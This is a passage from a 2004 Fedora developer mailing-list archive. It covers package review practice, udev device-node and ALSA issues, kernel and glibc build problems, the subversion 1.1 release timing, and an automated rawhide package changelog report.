QA for updates. OK. I could of course go and review some packages that I already use or might use if they are in Fedora. But right now I feel that I would like to have one of my package fully reviewed before I look at other pacakges. Thus I could see what are the issues that I should look at and I can become more comfortable with the Fedora way of thinking (which also has impact on how to build a package). Silke -- Silke Reimer Intevation GmbH http://intevation.de/ FreeGIS http://freegis.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From kyrre at solution-forge.net Fri Oct 1 09:34:22 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 01 Oct 2004 11:34:22 +0200 Subject: FC2 kernel quality In-Reply-To: <1096586208.11066.3.camel@localhost.localdomain> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096569640.2702.37.camel@localhost.localdomain> <87y8ir8t1y.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096572505.2702.52.camel@localhost.localdomain> <604aa79104093014327c4af34@mail.gmail.com> <1096586208.11066.3.camel@localhost.localdomain> Message-ID: <1096623262.2693.11.camel@kyrre> Correct. But anyone who has been to a forum knows that there are so many things users want to compile. And as long as post-install-installing the packages from the nifty menu didn't work because: - Broken autorun script on fc2 cd's - fc2 system-config-packages was really borked anyway - all it did was to say "please insert CD" - when i in reallity was inserted. Is this fixed in fc3? I cant test, cus' i only have the NFS install images... Idealy, one should have a metapackage called "dev-tools" (or something like that) in yum, which would "depend" on having yum, make, etc., a "x-devel", a "gnome-devel" and a "kde-devel" package. Which would make it really simple to post-installation install it if needed. fre, 01.10.2004 kl. 01.16 skrev Sindre Pedersen Bjordal: > Fedora Core can't base it's settings on some third party driver. > > And besides, NVIDIA drivers doesn't have to require you to compile > anything. Users should use the rpms from http://rpm.livna.org for an > easier install and much easier update when there's a new driver > released. > > tor, 30,.09.2004 kl. 17.32 -0400, skrev Jeff Spaleta: > > On Thu, 30 Sep 2004 21:28:24 +0200, Thorsten Leemhuis > > wrote: > > > I see the problem. All those users of the nvidia driver will have > > > problems to build the kernel module. And what will they search for to > > > solve the problem: a kernel-source(code) rpm that is will not be part of > > > FC3 (as it seems). > > > > Fact: All those users who install fedora via the default "Desktop > > Install" option > > don't get the build tools to compile nvidia drivers as it is. Shall > > we pollute the default install to include all the development packages > > and build tools are there just in case someone wants to build > > something from source? > > > > The point is, as a packaging policy, the commonly required buildtools > > are not explicitly stated as buildrequirements for most src packages, > > nor for -devel binary packages. Your going to have to come up with a > > pretty impressive argument to make a need to one specific -devel > > package require cpp explicitly when -devel packages currently in the > > distro do not explicitly require gcc or cpp. > > > > -jef"112 -devel packages from Core installed and none of them > > explicitly require gcc or cpp which should a kernel-module-devel > > package be different?"spaleta > > > > > > > > > > > > > > > > > When the case above would be very common, you can make the > > > > header-package part of the base-system but without requiring it > > > > explicitly. So it can be disabled on minimal installations. > > > > > > Don't understand this. How to solve the problem with updated kernels and > > > the needed headers for those? Add them all to one package and update > > > this every time a kernel-update is released -- this will be a big > > > package after some kernel-updates... > > > > > > > > > > > > -- > > > Thorsten Leemhuis > > > > > > -- > > > fedora-devel-list mailing list > > > fedora-devel-list at redhat.com > > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > > > From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Fri Oct 1 09:46:37 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Fri, 1 Oct 2004 11:46:37 +0200 Subject: IrDA and udev Message-ID: <20041001114637.0b66a3be@localhost> Hi, I'm looking around udev to try and find a solution to the problem I'm having, but I can't seem to find one. I'm using a mobile GPRS connection through IrDA to connect to the Internet at times, and with FC3 test2 the /dev/ircomm0 entry I need to use isn't there anymore, not even after starting the irda service. What is the right way to fix this? My current workaround was "MAKEDEV ircomm0"... Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 0.18 0.10 0.07 From fedora at wir-sind-cool.org Fri Oct 1 10:33:13 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 1 Oct 2004 12:33:13 +0200 Subject: QA-process for new packages In-Reply-To: <20041001093232.GB3765@intevation.de> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> <20041001093232.GB3765@intevation.de> Message-ID: <20041001123313.2ab8aa31.fedora@wir-sind-cool.org> On Fri, 1 Oct 2004 11:32:32 +0200, Silke Reimer wrote: > Thanks! This explanation (toghether with you remarks below) helped me to > understand better the philosophy of the Fedora project. Perhaps I > should add that I am coming from the debian world. Thus it is quite > confusing from time to time to understand what similar and what is > different in the Fedora way to set up the project. Well, I'm not a spokesman of the Fedora Project. Actually, fedora.us is still a separate project inspite of the announced merger with the Fedora Project and the ongoing preparations to import it into Fedora Extras CVS. Except for semi-public draft documents or proposals I've not seen anything concrete on what the final "Fedora way" will look like. So, currently, there's no organized QA team or anything like that, which processes package requests in FIFO order or who are assigned tickets by project leadership or team manager(s). Community commitment is the key. I wouldn't mind seeing some people who go through the queue and re-prioritise packages based on popularity, importance (e.g. dependencies and project objectives), or other factors. I've also mentioned before that I'd like package developers and users to build small QA teams or reduce QA efforts to a minimum (= security relevant checks and some items from the QA checklist) and start publishing in "unstable" or "testing" repository rather than "stable". > So please excuse > my sometimes ignorant questions. (And I prefer to ask stupid > questions instead of doing something in the "wrong" way.) No problem. At least you do ask. That's far better than not asking at all and complaining based on misunderstandings. > OK. I could of course go and review some packages that I already use > or might use if they are in Fedora. But right now I feel that I > would like to have one of my package fully reviewed before I look at > other pacakges. Thus I could see what are the issues that I should > look at and I can become more comfortable with the Fedora way of > thinking (which also has impact on how to build a package). True. But by taking look at other packager's packages, you learn how they do it. Could be helpful. Primary objectives are to verify source checksums and to get packages to build (in 'mach' / in the fedora.us build-system / in a system cleaned up with fedora-rmdevelrpms). Too many packages don't even build. Once they build, it's possible to examine package contents and to perform run-time checks. When, however, a package fails to build, and when you take a closer look and you notice lots of mistakes, pitfalls, and potentially broken things, you post your findings as comments. Ssometimes that looks as if a reviewer picks on a package developer. -- Fedora Core release 2.91 (FC3 Test 2) - Linux 2.6.8-1.590 loadavg: 3.19 3.10 1.98 From marcel at mesa.nl Fri Oct 1 11:21:21 2004 From: marcel at mesa.nl (Marcel J.E. Mol) Date: Fri, 1 Oct 2004 13:21:21 +0200 Subject: gnumeric and cups ppd cannot be loaded Message-ID: <20041001112121.GB13018@joshua.mesa.nl> Hi, Whenever I run gnumeric I get the following message: GnomePrintCupsPlugin-Message: The ppd file for the CUPS printer g95 could not be loaded. GnomePrintCupsPlugin-Message: The ppd file for the CUPS printer ps could not be loaded. g95 and ps are the printers I have defined on my system. In /etc/cups/ppd are the following files: ls -l /etc/cups/ppd total 36 -rw-r--r-- 1 root root 19038 Sep 26 21:49 g95.ppd -rw-r--r-- 1 root root 12300 Sep 26 21:49 ps.ppd RPM versions: # rpm -q gnumeric cups gnumeric-1.2.13-2 cups-1.1.21-3 Printing does work though! Any ideas what to do about this? Thanks -Marcel -- ======-------- Marcel J.E. Mol MESA Consulting B.V. =======--------- ph. +31-(0)6-54724868 P.O. Box 112 =======--------- marcel at mesa.nl 2630 AC Nootdorp __==== www.mesa.nl ---____U_n_i_x______I_n_t_e_r_n_e_t____ The Netherlands ____ They couldn't think of a number, Linux user 1148 -- counter.li.org so they gave me a name! -- Rupert Hine -- www.ruperthine.com From linux_4ever at yahoo.com Fri Oct 1 10:44:31 2004 From: linux_4ever at yahoo.com (Steve G) Date: Fri, 1 Oct 2004 03:44:31 -0700 (PDT) Subject: glibc-2.3.3-60 hangs Message-ID: <20041001104431.68220.qmail@web50607.mail.yahoo.com> Hi, I downloaded the latest glibc from rawhide and tried compiling it. I've tried twice and given each run 7 hours to complete. Both times I've found it hung in the make check (?) portion of the build. This is what's on the screen: g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files make[1]: *** [/home/build/working/BUILD/glibc-20040929T0821/build-i486-linuxnptl/c++-types-check.out] Error 1 make[1]: Target `check' not remade because of errors. make[1]: Leaving directory `/home/build/working/BUILD/glibc-20040929T0821' make: *** [check] Error 2 ========second run======= g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files scripts/check-c++-types.sh: line 7: 22821 Broken pipe cat < #include #include #include void foo ($t) { } EOF make[1]: *** [/home/build/working/BUILD/glibc-20040929T0821/build-i486-linuxnptl/c++-types-check.out] Error 1 make[1]: Target `check' not remade because of errors. make[1]: Leaving directory `/home/build/working/BUILD/glibc-20040929T0821' make: *** [check] Error 2 I'm backtracking to the -45 release...which seems to still be the only release that hasn't broken anything. -Steve Grubb __________________________________ Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. http://promotions.yahoo.com/new_mail From stuart at terminus.co.uk Fri Oct 1 11:56:05 2004 From: stuart at terminus.co.uk (Stuart Children) Date: Fri, 01 Oct 2004 12:56:05 +0100 Subject: FC2 kernel quality In-Reply-To: <20040930182110.GA15217@devserv.devel.redhat.com> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> Message-ID: <415D45D5.4010900@terminus.co.uk> Alan Cox wrote: > On Thu, Sep 30, 2004 at 08:16:30PM +0200, Enrico Scholz wrote: >>* there is a bug when opening new PTYs; a symptom is EIO when accessing >> /dev/ptmx. This bug breaks application like screen or ssh. > > Yep a few people are seeing this. Is there a bug number for this? I've been meaning to create one for something I'm seeing occasionally: try to open a new xterm, cpu leaps to 100% for a while before giving up, no pty allocated. A reboot fixes it, and one time I left it quite a while it started working again. Only happens infrequently (which is why I've been hesistent filing a bug) and just on my home desktop - never on my other machines or work desktop. Related perhaps? -- Stuart From harald at redhat.com Fri Oct 1 12:00:29 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 01 Oct 2004 14:00:29 +0200 Subject: A couple of things on startup/shutdown In-Reply-To: <1096622831.2693.4.camel@kyrre> References: <1096572290.3186.7.camel@tiger> <415D189D.2050303@redhat.com> <1096622831.2693.4.camel@kyrre> Message-ID: <415D46DD.9000003@redhat.com> Kyrre Ness Sjobak wrote: > fre, 01.10.2004 kl. 10.43 skrev Harald Hoyer: > >>Louis Garcia wrote: >> >>>As on 9/30 rawhide on system boot when switching to usermode I get: >>> >>>Making Extra Nodes: cp: can't stat /etc/udev/devices/* no such directory >>>or files >>> >>>on my box /etc/udev/devices is empty. >>> >> >>nothing to worry about.. error message supressed in udev-032-6 for your convenience.. :) > > > Shure you dont mean "i am sick and tired of all those bugzilla reports"? > Nah. understandable :) > read the shell script yourself, then we talk... From alan at redhat.com Fri Oct 1 12:01:37 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 08:01:37 -0400 Subject: IrDA and udev In-Reply-To: <20041001114637.0b66a3be@localhost> References: <20041001114637.0b66a3be@localhost> Message-ID: <20041001120137.GB6590@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 11:46:37AM +0200, Matthias Saou wrote: > /dev/ircomm0 entry I need to use isn't there anymore, not even after > starting the irda service. > What is the right way to fix this? My current workaround was "MAKEDEV > ircomm0"... udev needs to learn about it -> bugzilla. From harald at redhat.com Fri Oct 1 12:05:14 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 01 Oct 2004 14:05:14 +0200 Subject: udev and alsa In-Reply-To: <1096622310.3257.93.camel@localhost.localdomain> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <1096622310.3257.93.camel@localhost.localdomain> Message-ID: <415D47FA.9090705@redhat.com> Matias Feliciano wrote: > Le ven 01/10/2004 ? 11:01, Harald Hoyer a ?crit : > >>Don't know, if it really belongs to udev.. but here is an extended script:#!/bin/sh >> >>elif [ "$ACTION" == "remove" ] ; then >> card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` >> if [ $card ] && [ -x /usr/sbin/alsactl ] ; then >> /usr/sbin/alsactl store $card > /dev/null 2>&1 >> fi >>fi > > > useless. udev is call _after_ "modprobe -r" begin (module marked > "unloading" and unusable). No module, no "alsactl store". > right... sorry.. forgot about that.. /me bangs head on table... From harald at redhat.com Fri Oct 1 12:06:21 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 01 Oct 2004 14:06:21 +0200 Subject: IrDA and udev In-Reply-To: <20041001114637.0b66a3be@localhost> References: <20041001114637.0b66a3be@localhost> Message-ID: <415D483D.1050309@redhat.com> Matthias Saou wrote: > Hi, > > I'm looking around udev to try and find a solution to the problem I'm > having, but I can't seem to find one. I'm using a mobile GPRS connection > through IrDA to connect to the Internet at times, and with FC3 test2 the > /dev/ircomm0 entry I need to use isn't there anymore, not even after > starting the irda service. > What is the right way to fix this? My current workaround was "MAKEDEV > ircomm0"... > > Matthias > The ircomm_tty module triggers the creation... From alan at redhat.com Fri Oct 1 12:10:09 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 08:10:09 -0400 Subject: FC2 kernel quality In-Reply-To: <415D45D5.4010900@terminus.co.uk> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> Message-ID: <20041001121009.GD6590@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 12:56:05PM +0100, Stuart Children wrote: > Is there a bug number for this? I've been meaning to create one for Not sure - there's an upstream bug however and it should be fixed in 2.6.9rc From jspaleta at gmail.com Fri Oct 1 12:11:00 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 1 Oct 2004 08:11:00 -0400 Subject: subversion-1.1 released In-Reply-To: References: Message-ID: <604aa791041001051110468310@mail.gmail.com> On Thu, 30 Sep 2004 11:51:39 -0400, Neal D. Becker wrote: > subversion-1.1 is released. It would be great to include this. It allows > use of subversion without requiring a database. It would be good to > include this capability before many users have migrated to subversion. Doubtful, if there was already a plan in place to include the available preleases during testing then I wouldn't hold out much hope that the new version released after fc3t2 creation is now going to get in so late in the testing phase. The schedule places Sept 1st as the deadline for new major version slush. And if fedora was planning on making subversion an exception to the rule, the pre-releases of 1.1 would have been in both test1 and test2. Prelease 1 for 1.1 was released in July. -jef"I'm sure version 1.1 is great, im sure it can save the whales and cure canceer, but I wouldn't hold my breath"spaleta From alan at redhat.com Fri Oct 1 12:11:28 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 08:11:28 -0400 Subject: IrDA and udev In-Reply-To: <415D483D.1050309@redhat.com> References: <20041001114637.0b66a3be@localhost> <415D483D.1050309@redhat.com> Message-ID: <20041001121128.GE6590@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 02:06:21PM +0200, Harald Hoyer wrote: > >What is the right way to fix this? My current workaround was "MAKEDEV > >ircomm0"... > > > The ircomm_tty module triggers the creation... And opening the file triggers the ircomm-tty module loading.... Most irda is not probe-able so it doesn't worth the other way around From arjanv at redhat.com Fri Oct 1 12:14:19 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 01 Oct 2004 14:14:19 +0200 Subject: FC2 kernel quality In-Reply-To: <415D45D5.4010900@terminus.co.uk> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> Message-ID: <1096632859.5565.7.camel@laptop.fenrus.com> On Fri, 2004-10-01 at 13:56, Stuart Children wrote: > Alan Cox wrote: > > On Thu, Sep 30, 2004 at 08:16:30PM +0200, Enrico Scholz wrote: > >>* there is a bug when opening new PTYs; a symptom is EIO when accessing > >> /dev/ptmx. This bug breaks application like screen or ssh. > > > > Yep a few people are seeing this. > > Is there a bug number for this? unless this is with the 521 kernel please don't file one; we know that several pre-521 kernels suffered a bug in this but 521 is supposed to be the fixed one. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From Nicolas.Mailhot at laPoste.net Fri Oct 1 12:19:15 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Fri, 01 Oct 2004 14:19:15 +0200 Subject: udev and alsa In-Reply-To: <1096622411.3257.96.camel@localhost.localdomain> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <1096622411.3257.96.camel@localhost.localdomain> Message-ID: <1096633156.28111.1.camel@ulysse.olympe.o2t> Le vendredi 01 octobre 2004 ? 11:20 +0200, Matias Feliciano a ?crit : > Le ven 01/10/2004 ? 11:01, Harald Hoyer a ?crit : > > elif [ "$ACTION" == "remove" ] ; then > > card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` > > if [ $card ] && [ -x /usr/sbin/alsactl ] ; then > > /usr/sbin/alsactl store $card > /dev/null 2>&1 > > fi > > fi > > btw, this is done by /etc/modprobe.conf. example : > remove snd-via82xx { /usr/sbin/alsactl store 1 >/dev/null 2>&1 || : ; }; /sbin/modprobe -r --ignore-remove snd-via82xx Can people that use monolithic kernels have a hope to get sound working too ? Please... I thought the whole point of the new udev stack was to take module loading/unloading out of the configuration picture. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From buildsys at redhat.com Fri Oct 1 12:31:35 2004 From: buildsys at redhat.com (Build System) Date: Fri, 1 Oct 2004 08:31:35 -0400 Subject: rawhide report: 20041001 changes Message-ID: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> New package RealPlayer Media player from RealNetworks based on Helix New package java-1.4.2-gcj-compat JPackage runtime scripts for GCJ Updated Packages: HelixPlayer-1.0.gold-6 ---------------------- * Thu Sep 30 2004 Christopher Aillon 1.0.gold-6 - PreReq desktop-file-utils >= 0.9 SDL_image-1.2.3-6 ----------------- * Thu Sep 30 2004 Thomas Woerner 1.2.3-6 - moved to new autofoo utils SDL_mixer-1.2.5-4 ----------------- * Thu Sep 30 2004 Thomas Woerner 1.2.5-4 - moved to new autofoo utils abiword-2.0.12-3 ---------------- * Thu Sep 30 2004 Christopher Aillon 1:2.0.12-3 - Change to PreReq instead of Requires(post), up to 0.9 * Wed Sep 29 2004 Caolan McNamara 1:2.0.12-2 - Better Requires desktop-file-utils anaconda-10.0.3.9-1 ------------------- * Thu Sep 30 2004 Jeremy Katz - 10.0.3.9-1 - translation updates - Install compat-arch-support by default (#133514) - Warn if an older version is chosen for upgrading if product is RHEL (#134523) - Fix traceback on upgrade with possible lvm1 (#134258) - Make changing the DNS server work (#122554) - More fixes from pnasrat for arch handling on upgrade bug-buddy-2.8.0-3 ----------------- * Thu Sep 30 2004 Christopher Aillon - PreReq desktop-file-utils >= 0.9 cdparanoia-alpha9.8-22 ---------------------- * Wed Jul 07 2004 Peter Jones alpha9.8-21sgio1 - a new set of sgio patches comps-extras-10.0-1 ------------------- * Thu Sep 30 2004 Jeremy Katz - 10.0-1 - add xfce images * Thu Apr 15 2004 Jeremy Katz - 9.92-1 - image tweaks * Sun Nov 23 2003 Florian La Roche - change getnotincomps.py /usr/bin/python2.2 -> /usr/bin/python desktop-backgrounds-2.0-26 -------------------------- * Thu Sep 30 2004 Alexander Larsson - 2.0-26 - New default background infrastructure. dovecot-0.99.11-1.FC3.3 ----------------------- * Thu Sep 30 2004 John Dennis 0.99.11-1.FC3.3 - fix bug #124786, listen to ipv6 as well as ipv4 eog-2.8.0-3 ----------- * Thu Sep 30 2004 Christopher Aillon 2.8.0-3 - Prereq desktop-file-utils >= 0.9 - update-desktop-database on uninstall fedora-logos-1.1.27-1 --------------------- * Thu Sep 30 2004 Than Ngo 1.1.27-1 - fix kde splash fetchmail-6.2.5-6 ----------------- * Thu Sep 30 2004 John Dennis 6.2.5-6 - fix bug #113492 after expunge, dovecot hangs fetchmail if new e-mail came in file-roller-2.8.0-4 ------------------- * Thu Sep 30 2004 Christopher Aillon 2.8.0-4 - Prereq desktop-file-utils >= 0.9 findutils-4.1.20-4 ------------------ * Thu Sep 30 2004 Tim Waugh 1:4.1.20-4 - Set re->translate before re_compile_pattern (bug #134190). firefox-0.10.0-1.0PR1.6 ----------------------- * Thu Sep 30 2004 Christopher Aillon 0:0.10.0-1.0PR1.6 - Prereq desktop-file-utils >= 0.9 * Thu Sep 30 2004 Christopher Aillon 0:0.10.0-1.0PR1.5 - Add clipboard access prevention patch. gamin-0.0.12-1 -------------- * Thu Sep 30 2004 Daniel Veillard 0.0.12-1 - potential fix for a hard to reproduce looping problem. * Mon Sep 27 2004 Daniel Veillard 0.0.11-1 - update to the latest version of inotify - inotify support compiled in by default - fix ABI FAM compatibility problems #133162 * Tue Sep 21 2004 Daniel Veillard 0.0.10-1 - more documentation - Added support for a configuration file $HOME/.gaminrc - fixes FAM compatibility issues with FAMErrno and FamErrlist #132944 gdm-2.6.0.5-3 ------------- * Wed Sep 29 2004 Ray Strode 1:2.6.0.5-3 - Check if there is a selected node before using iterator. (fixes bug #133329). gimp-2.0.5-3 ------------ * Thu Sep 30 2004 Christopher Aillon - PreReq desktop-file-utils >= 0.9 * Sun Sep 26 2004 Nils Philippsen - fix post/postun requirements * Sat Sep 25 2004 Nils Philippsen - version 2.0.5 glibc-2.3.3-61 -------------- * Thu Sep 30 2004 Jakub Jelinek 2.3.3-61 - update from CVS - some nscd fixes (#134193) - cache initgroups in nscd (#132850) - reread /etc/localtime in tzset () even if just mtime changed (#133481) - fix glob (#126460) - another get_myaddress fix gnome-games-2.8.0-2 ------------------- * Thu Sep 30 2004 GNOME - 1:2.8.0-2 - fix crasher, #134256 gnome-panel-2.8.0.1-2 --------------------- * Fri Oct 01 2004 Mark McLoughlin 2.8.0.1-1 - New panel layout from Bryan and Seth gnome-utils-2.8.0-4 ------------------- * Thu Sep 30 2004 Christopher Aillon 1:2.8.0-4 - PreReq desktop-file-utils >= 0.9 - update-desktop-database on uninstall * Tue Sep 28 2004 Ray Strode 1:2.8.0-3 - Hide Search Tool from menus using spec file foo instead of patch file gnumeric-1.2.13-6 ----------------- * Thu Sep 30 2004 Christopher Aillon 1.2.13-6 - Change Requires(post) to PreReq * Thu Sep 30 2004 Caolan McNamara 1.2.13-5 - #rh134250# improve Requires: desktop-file-utils grub-0.95-3 ----------- * Thu Sep 30 2004 Jeremy Katz - 0.95-3 - don't act on the keypress for the menu (#134029) hal-cups-utils-0.5.2-2 ---------------------- * Thu Sep 30 2004 John (J5) Palmieri - Patch to use sighup on cups instead of restarting it hwdata-0.136-1 -------------- * Thu Sep 30 2004 Bill Nottingham - 0.136-1 - add S3 UniChrome (#131403) - update pci.ids icon-slicer-0.3-6 ----------------- * Thu Sep 30 2004 Alexander Larsson - 0.3-6 - Correct order of attachpoints * Thu Sep 30 2004 Alexander Larsson - 0.3-5 - Add patch that lets you order attachpoints iiimf-le-chinput-0.3-11 ----------------------- * Fri Oct 01 2004 Yu Shao 0.3-11 - fix bug 131213 aux is still on when apps are closed im-sdk-12.0.1-11.svn1943 ------------------------ * Fri Oct 01 2004 Akira TAGOH - 1:12.0.1-11.svn1943 - iiimsf-fix-htt-retrycounter.patch: applied to decrease the retrycounter when htt_server died unfortunately with any signal event. * Fri Oct 01 2004 Jens Petersen - iiimqcf re-enabled for now (still experimental) - improve iiimqcf.pro-build.patch to use rpath to find iiim libs and link against libs in buildtree - install plugin in inputmethods/ - pass LIBDIR to qmake when building - disable freewnnLE and update comment about it * Thu Sep 30 2004 Leon Ho - 1:12.0.1-10.svn1943 - add usermod to 'upgrade' existing user to proper home dir jpackage-utils-1.5.38-1jpp_3rh ------------------------------ * Thu Aug 26 2004 Thomas Fitzsimmons 0:1.5.38-1jpp_3rh - Bump release number for RHEL4. libgnomecups-0.1.12-4 --------------------- * Thu Sep 30 2004 Colin Walters 0.1.12-4 - Change group to Development/Libraries (131688) * Thu Sep 30 2004 Colin Walters 0.1.12-3 - Pass --with-dbus=yes to configure to be extra sure - Add libgnomecups-no-gnome-common.patch - autoreconf to pick up configure changes * Thu Sep 30 2004 Colin Walters 0.1.12-2 - Pass --with-dbus to configure - BuildRequire dbus-devel libgnomeprint22-2.8.0-2 ----------------------- * Thu Sep 30 2004 Matthias Clasen - 2.8.0-2 - Fix display of queue length in the print dialog mkinitrd-4.1.14-1 ----------------- * Thu Sep 30 2004 Jeremy Katz - 4.1.14-1 - support changing root on the kernel command line with lvm (#133236) mozilla-1.7.3-11 ---------------- * Thu Sep 30 2004 Christopher Aillon 37:1.7.3-11 - Hide Mozilla from the Internet menu. * Thu Sep 30 2004 Christopher Aillon 37:1.7.3-10 - PreReq desktop-file-utils >= 0.9 net-tools-1.60-37 ----------------- * Wed Sep 29 2004 Radek Vokal 1.60-37 - spec file updated, added conversion for french and portugal man pages to UTF-8 ntp-4.2.0.a.20040617-2 ---------------------- * Thu Sep 30 2004 Harald Hoyer - 4.2.0.a.20040617-2 - set pool.ntp.org as the default timeserver pool openmotif-2.2.3-6 ----------------- * Thu Sep 30 2004 Thomas Woerner 2.2.3-6 - fixed CAN-2004-0687 (integer overflows) and CAN-2004-0688 (stack overflows) in embedded Xpm library redhat-artwork-0.108-1 ---------------------- * Thu Sep 30 2004 Than Ngo 0.108-1 - Add missing desktop/folder_locked/folder symlink - Set SmallSizes=16 and SmallDefault=16 for KDE * Thu Sep 30 2004 Alexander Larsson - 0.105-2.1E - RHEL build * Thu Sep 30 2004 Alexander Larsson - 0.105-2 - Rebuild with corrected icon-slicer to fix attach point order. rhgb-0.13.4-1 ------------- * Thu Sep 30 2004 Daniel Veillard 0.13.4 - updated the localization strings rhpl-0.147-1 ------------ * Thu Sep 30 2004 Harald Hoyer - 0.147-1 - let Conf.ConfModules use modprobe.conf name and format (bug 131952) - use network script resolv.conf merger/changer (bug 132485) * Fri Sep 24 2004 Jeremy Katz - require python (#133462) rhythmbox-0.8.7-2 ----------------- * Thu Sep 30 2004 Christopher Aillon 0.8.7-2 - PreReq desktop-file-utils >= 0.9 rp-pppoe-3.5-17 --------------- * Thu Sep 30 2004 Than Ngo 3.5-17 - fix idle parameter in asdl connect rpmdb-fedora-2.92-0.20041001 ---------------------------- rsync-2.6.3-1 ------------- * Thu Sep 30 2004 Jay Fenlason 2.6.3-1 - New upstream release. selinux-policy-strict-1.17.25-1 ------------------------------- * Thu Sep 30 2004 Dan Walsh 1.17.25-1 - Update from NSA - more inetd fixes, mozilla fixes * Thu Sep 30 2004 Dan Walsh 1.17.24-4 - Minor fixes - Fix snmpd.te to allow creation of /var/net-snmp selinux-policy-targeted-1.17.25-1 --------------------------------- * Thu Sep 30 2004 Dan Walsh 1.17.25-1 - Minor fixes - Fix snmpd.te to allow creation of /var/net-snmp * Thu Sep 30 2004 Dan Walsh 1.17.24-4 - Minor fixes - Fix snmpd.te to allow creation of /var/net-snmp * Wed Sep 29 2004 Dan Walsh 1.17.24-3 - Add tvtime swig-1.3.21-5 ------------- * Thu Sep 30 2004 Joe Orton 1.3.21-5 - don't output -L$libdir in -ldflags system-config-printer-0.6.114-1 ------------------------------- * Thu Sep 30 2004 Tim Waugh 0.6.114-1 - 0.6.114: - Allow control codes in text-only printing (bug #124250). - More robustness in validating SMB queue information (bug #127348). - Include more translations (bug #133721). tetex-2.0.2-21 -------------- * Thu Sep 30 2004 Christopher Aillon 2.0.2-21 - Prereq desktop-file-utils >= 0.9 udev-032-6 ---------- * Thu Sep 30 2004 Harald Hoyer - 032-6 - prevent error message from device copying - use already translated starting strings vixie-cron-4.1-17 ----------------- * Thu Sep 30 2004 Jason Vas Dias - 4.1-17 - Users not allowed to use 'crontab mycrontab', while - 'crontab < mycrontab' allowed; this is because misc.c's - swap_uids_back() was not using save_euid / save_egid . - Thanks to Mads Martin Joergensen for pointing this out. From jorton at redhat.com Fri Oct 1 12:34:43 2004 From: jorton at redhat.com (Joe Orton) Date: Fri, 1 Oct 2004 13:34:43 +0100 Subject: subversion-1.1 released In-Reply-To: <604aa791041001051110468310@mail.gmail.com> References: <604aa791041001051110468310@mail.gmail.com> Message-ID: <20041001123443.GA7170@redhat.com> On Fri, Oct 01, 2004 at 08:11:00AM -0400, Jeff Spaleta wrote: > On Thu, 30 Sep 2004 11:51:39 -0400, Neal D. Becker > wrote: > > subversion-1.1 is released. It would be great to include this. It allows > > use of subversion without requiring a database. It would be good to > > include this capability before many users have migrated to subversion. > > Doubtful, if there was already a plan in place to include the > available preleases during testing then I wouldn't hold out much hope > that the new version released after fc3t2 creation is now going to get > in so late in the testing phase. The schedule places Sept 1st as the > deadline for new major version slush. 1.0 -> 1.1 is a minor version upgrade not a major version upgrade. If I can fix the remaining build issues today I'd like to get 1.1.0 in FC3t3. joe From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Fri Oct 1 12:34:37 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Fri, 1 Oct 2004 14:34:37 +0200 Subject: IrDA and udev In-Reply-To: <20041001120137.GB6590@devserv.devel.redhat.com> References: <20041001114637.0b66a3be@localhost> <20041001120137.GB6590@devserv.devel.redhat.com> Message-ID: <20041001143437.0e32c2ea@localhost> Alan Cox wrote : > On Fri, Oct 01, 2004 at 